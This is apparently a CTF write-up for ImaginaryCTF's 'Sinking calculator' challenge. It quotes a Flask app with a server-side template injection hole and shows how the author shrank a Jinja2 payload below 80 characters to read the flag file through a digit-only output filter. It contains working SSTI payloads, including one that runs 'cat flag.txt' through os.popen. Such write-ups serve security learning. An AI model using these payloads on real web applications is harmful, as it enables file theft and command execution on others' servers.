s4ch1n

Sinking calculator - ImaginaryCTF

Posted on

Description

My computer architecture professor told me: "Every time you see a decimal, you should hate it!" I took his advice to heart, and made a calculator. But don't worry! I got rid of all the decimals. No floats here!

#!/usr/bin/env python3

from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def index():
    return open('templates/index.html').read()

@app.route('/calc')
def calc():
    query = request.args['query']
    request.args = {}
    request.headers = {} # no outside help!
    request.cookies = {}
    if len(query) > 80: # my exploit is 77 chars, but 80 is such a nice even number
        return "Too long!"
    res = render_template_string("{{%s}}"%query)
    out = ''
    for c in res:
        if c in "0123456789-": # negative numbers are cool
            out += c
    return out

This is the same SSTI challenge from the previous build-my-website challenge but the output is filtered and only digits and a negative sign is allowed.

My first idea was to create a payload that will read from the file and then send us the output in byte format which will be in ASCII and to differentiate between characters we will use negative sign.

But in the worst condition where payload could exceed 80 chars, we will have to make our payload small and try to extract 1 byte at a time.

Previous payload from build-a-website:

request['application']['__global__']['__builtins__']['__import__']('os')['popen']('cat flag.txt').read()}}

After researching for a while and trying many things out, I found these steps to reduce the size of our payload.

1 We can replace [' and '] with dot operator. 2 Replace application with close. I found close method by looping through request object and filtering methods only. 3 Replacing the whole import os with the open inbuilt function. 4 Using the jinja filters we can use join to join it will negative sign.

and then our final payload is exactly 77 chars.

Final payload
request.close.__globals__.__builtins__['open']('flag', 'rb').read()|join('-')
Flag:
ictf{this_flag_has_three_interesting_properties_it_has_no_numbers_or_dashes_it_is_quite_long_and_it_is_quite_scary}